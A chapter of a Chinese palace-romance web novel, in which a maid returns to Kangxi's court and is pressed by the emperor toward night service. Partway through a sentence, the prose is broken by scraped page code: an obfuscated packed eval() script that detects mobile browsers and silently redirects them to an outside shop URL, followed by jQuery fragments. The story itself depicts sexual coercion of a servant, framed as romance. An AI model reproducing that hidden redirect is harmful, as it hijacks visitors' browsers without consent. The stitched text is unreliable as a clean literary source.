99. 奉茶人
    卫素瑶想象自己在坐大巴,大巴行驶在景区的山路上,安全带扣得牢固,路途遥远,必须睡一觉。如此催眠自己,跌入黑甜一梦。

    醒来后,马车已到永定河边,此地空气湿润,人语喧响,摆摊的叫卖声不迭,即使在望不出去的车厢内,仍能感受到外面的浓浓市井气息,如果能去逛一逛就好了。

    “醒了,睡得好么?”

    卫素瑶揉着眼睛,“挺好的。”她想挣开,康熙依旧固执地扣着她,她放弃挣扎,调整姿势坐正些,目光有点空洞。

    康熙另一手指他的肩头,“擦一擦。”

    卫素瑶扭头看到他肩上湿亮一块,自己嘴角也有点腻——她刚才流口水了。

    擦呗,不擦能怎的。

    她抽了帕子出来,平静地揩着康熙的左肩,好在对方并未多说什么。

    揩完口水的帕子怎么办?她拿在手里,放好也不是,扔也不是,只好拿在手里百无聊赖地叠豆腐块,叠了拆拆了叠。

    她想,她以后的生活大概就是如此,被扣在康熙手中,叠了拆拆了叠,再不能有别的想法。

    有侍卫驱马过来提醒,马上要过永定门,进了永定门便入城中。

    康熙掀帘,帘外出现城墙的垣壁,能大致看到个城楼轮廓,随着行驶而逼近,墙壁上砖块砌筑的纹理变大变清晰,眼前忽然一暗,没多久又忽然亮开。

    他们回去了。

    一路上,值守的侍卫和接风的大臣殷勤不迭,连带着被康熙带在身边的卫素瑶也沾光。

    她唯一能共情的男人——徐乾学,激动地说完想念皇帝的肉麻话后,向她投来佩服而羡慕的目光,仿佛恨自己不是美女,只能凄惨地靠才华上位。

    卫素瑶微笑向徐乾学颔首,打了个高冷的招呼,心里只觉讽刺,她不过是出去放了个风的宠物,今后还将在这红墙筑就的牢笼里呆着。

    -

    没几日,皇帝宣布设立南书房,经明珠索额图等人推荐,召张英、高士奇入南书房随侍草召,卫素瑶为南书房奉茶,另辟值房居住。

    卫素瑶本应回延禧宫住两天,收拾行李道个别,这才是正常流程。

    结果刚转到凝祥门,想到要见惠嫔和小冬瓜那俩令她心理不适的主仆,就犹豫着没去,转而到了承乾宫门口。

    开门的是灵犀,瞧她眼熟,问她:“你谁?找谁?”

    言简意赅,目的明确。

    卫素瑶将自己姓名报出,灵犀眼睛睁大,露出不可思议的表情,“你就是素瑶!”惊讶的同时不耽误回头喊人,不一会儿,沫兰就过来了。

    她居然长胖了点,原来纤手的骨架子稍稍丰满,脸上带笑小跑来,没一丝愁苦味。她抓了卫素瑶的两臂,眼睛亮亮地看了半天,笑道:“你黑了!”

    卫素瑶报复她,“你肥了!”

    两人一块儿笑着,沫兰邀卫素瑶去她的值房做客,给她倒茶,备果子点心,俨然一副当家做主的范儿。卫素瑶的心情变得很好,当下就和她说了调去乾清宫的消息。

    沫兰笑吟吟的脸上忽然就泛出迷茫,“这是...真的吗?”她觉得这是只存在于白日梦里的事。

    卫素瑶啃着秋月梨,“真的,南书房都备好了,这两天乾清宫的人都往东暖阁搬东西呢。”

    沫兰点点头,“真好啊,那你要天天两头跑了吗?”

    “不用,我不回延禧宫,”卫素瑶洒脱地说,“我搬去乾清宫值房。”

    沫兰又是一呆,低头无声很久,抬起脸时,脸上是无限的羡慕之情,“你能天天见到皇上,是不是?”

    卫素瑶点头。

    沫兰把双手支在桌上,托住下巴,出了好会神,弯起嘴角,“我当初就说你是有造化的,我眼光真准。”

    卫素瑶怕她伤心,不再接着话头说下去,而且她也很难说清和康熙是怎么一回事儿,四个字,一言难尽。她急吼吼啃完梨,擦了手,问沫兰:“我瞧你这阵子过得不错。”

    沫兰又笑了,说起贵妃就滔滔不绝,变回了刚进宫时那个小姑娘,“贵主儿待下宽厚,她不像主子,更像个姐姐,还是个脾气好容易遭欺负的姐姐,安主儿叫我多帮她顶着事,其实哪用安主儿说,我和丹淙永远会护着她的。”

    多好都言尽于此了,卫素瑶明白,为她高兴,“这就很好。”

    说到各自主子,沫兰问:“你是从延禧宫过来的吗?见着惠嫔了?”

    “就是想到她在延禧宫,我才折返来见你。”

    沫兰没想到卫素瑶和惠嫔关系差成这样,她凑过来低声道:“阿瑶,我可领教她的脾气啦,也难怪你不喜她。”

    “怎么?”

    “惠嫔掌后宫刑罚,雷厉风行,下边虽怕但也服气,可不知怎么的,她近来脾气乖戾,逮着可疑的人,话都没问清楚,刑具先上了,把人折磨得半死不活,成嫔和布贵人来找贵主儿鸣不平,一审之下才发现冤了人。就我所知已经有两起,如今贵主儿和宜嫔都对她很不满,想让成嫔顶她的位置,正商量怎么和皇上说呢。”

    不意外。卫素瑶讥讽地笑笑,“她就是这样的人,遇到不顺心的事就要乱发泄。”

    沫兰咋舌,后来想想,猜测道:“可能是因为秋兴,她被押去后还没回来,你又被突然调走,延禧宫一下走两个人,她心情自然不好。”

    卫素瑶沉吟不语,按理杨起隆一党被抓获,秋兴这枚障眼的棋就该放回去。不过,惠嫔的不顺也许还有贺凌霜的缘故,她俩关系看着不咋,其实两人重义气,都互相把对方当成朋友的。

    卫素瑶临走前去给佟贵妃请了安,佟贵妃看来已知她调去乾清宫,一点不惊讶,嘱咐几句,诸如行事规矩不可像在延禧宫那般放纵等等。卫素瑶感觉到贵妃兴致不高,脸上的笑很牵强,便识趣地告辞了。

    她没有再去延禧宫,秋兴不在,那儿便没有她很留恋的点,她到了乾清宫,托了个小太监去取衣物。

    -

    康熙头两日都在召集六部官员议事,每天忙到亥时。卫素瑶跟着鞠嬷嬷和何春林学乾清宫的规矩,了解皇帝起居作息和沏茶事宜,

    宫人知道卫素瑶身份特殊,专辟了间值房给她独住。空了的当儿,卫素瑶就在屋中练字,练一会儿才拿出诗集,在后边继续抄诗。

    这两天过得特别充实开心。

    搬过来后,虽然与康熙抬头不见低头见,但他在南苑期间堆积了很多事务,梁九功几乎是掐着点提醒他各项事情,该上朝,该吃饭,该去见索中堂,该去听日讲,该歇一歇,陈大学士有急事奏,徐侍郎在懋勤殿等着......一堆人堵着康熙,让他实难分身,常常只对卫素瑶望一眼便走了。

    这让卫素瑶暗喜,祈祷康熙能一直这么忙下去。

    但是时间管理大师总能在海绵里挤出水。

    第三日的晚上,顾问行拿着绿头签来问康熙,康熙照例回掉了,却在顾问行走后召卫素瑶过去。卫素瑶都已上床准备睡了,被赵昌喊起来带到西暖阁。

    -

    康熙立在床前,卫素瑶发现他眼下的乌青又深了点,眼睛还是红通通的,看着很是憔悴,可见操劳过头。

    她屈膝福礼的时候,听见康熙问:“住得还习惯?”

    她实话实说回:“挺好的。”

    “觉得累么?”

    “不累。”

    “比在延禧宫如何?”

    “比那好。”

    康熙疲惫的脸上绽了点笑,“今日就属你这话是个好消息。”

    卫素瑶呆了呆,点下头。

    康熙收了笑意,朝她随意招下手,“为朕更衣。”

    卫素瑶应声上前,摸索着他腰间的明黄色吉服带,她动作笨拙,窸窸窣窣摸了一阵玉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163716|138799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    板,愣是没找到解开的机扩,在她的摆弄之下,羚羊角小刀鞘和如意玉佩撞击出叮当的清响,静夜里听来像撞击在人心上似的,也有几分动听。

    随即卫素瑶听到一声叹息,热气落在她额头,她倏然抬眸,无辜求助:“奴才忘记了......”

    上回赌气故意没记,没料到这一回她会顺从。

    康熙的手掌覆在她手背上,温热包裹着她皮肤上的冷凉,他把她的五根手指一一在玉板上摆放到位,揿着她的手指,将腰带渐渐抽松了去,随后放下手,看着卫素瑶。

    卫素瑶点头表示会了,按着玉板上的扣件,学着康熙刚才的样子,继续将腰带一点点抽开。

    腰带解了后挂在衣架上,卫素瑶飞快打量康熙,准备解他领口的扣子。伸手到他脖子间,踮起些脚,接收着他的注视和气息,在他的喉结附近一顿操作,扣子一颗一颗松开,她的心也一下又一下松开。

    他穿的是石青色衣裳,扣子解开后露出白玉色里衣。

    她头一回觉得脱人衣服跟解题有相像之处,解:第一步......第二步......也像一个不好玩的闯关游戏,搜索攻略,按部就班推进。

    终于把他的石青外衣剥了下来,深色显得人沉稳深邃,剥下后却是个芝兰玉树的人,立在灯火里,憔悴容色,剔透而易碎。

    她将康熙的外袍对折挂在衣架子上,转身,两手交叠垂放腰间,“皇上可以上床就寝了。”

    “床帐。”他提醒她。

    卫素瑶咬了咬唇,行吧,你什么都不会,你是生活低能儿,我伺候你很应该。她在心里劝慰完自己,方顺从点了头,去挂床帐。帐布丝滑,依次在两侧挂上,垂顺而闪耀着光泽,像日光下的瀑布。

    她把被子抖开,掀开个角,说:“可以上床就寝了。”

    康熙坐到床上,脚刚抬起一点,卫素瑶自觉蹲下为他脱鞋,好不容易将他送到床上,她放下两边床帐,功德圆满。

    她准备离去,床帐里伸来一手,将她的手腕扣住。

    里面传出声音,“方才顾问行请朕翻绿头签,朕回拒了。”

    卫素瑶不知道这与自己何干?一脸懵的时候,听里面的人说:“改明儿朕给你也做个绿头签,你说如何?”

    卫素瑶差点就给他跪下,脑袋里轰轰发响,“奴才觉得不妥。”

    似乎料到她是这反应,床帐那头静水无波。

    久久的沉默后,卫素瑶闻他没新的吩咐,想快些离开,便稳着声道:“皇上,奴才去给您熄灯。”说着就去挣他的手。

    康熙扣紧她的腕,“不急。”

    卫素瑶装傻充愣,“皇上喜欢留灯睡觉,那奴才先回了。”

    “朕不放手,你如何回得?”

    卫素瑶浮起薄怒,心想这不是废话吗,你特么存心逗我。但她同时也明白,他好几天没空理她,今晚是特意攒了劲要一股脑儿报复,这一夜她别想善了。

    她的头皮开始发麻,好声好气,小心翼翼,“那请皇上放手让奴才回去,皇上操劳国事,龙体要紧,奴才去给您端份燕窝来。”

    “不必。”他语气有些不耐,“朕不爱吃。”

    “好吧,不爱吃......”卫素瑶想起来好像是有这回事,讪讪道,“那就不端了。”她轻轻抽着手,康熙握紧了些。

    卫素瑶叹气,不得不开门见山问:“皇上想要奴才怎样?”

    里面冷哼一声,像就等着她问上来,回道:“朕收你在乾清宫,所有人都知晓是何意,你装傻充愣就能混过去?朕想要你怎样,你清楚不过。”

    卫素瑶道:“奴才是南书房奉茶宫女,知道自己职责所在。”

    康熙哂笑出声,“你的职责,是白日奉茶,夜晚奉身。”

    “不是......”

    康熙打断她,“朕说了算。”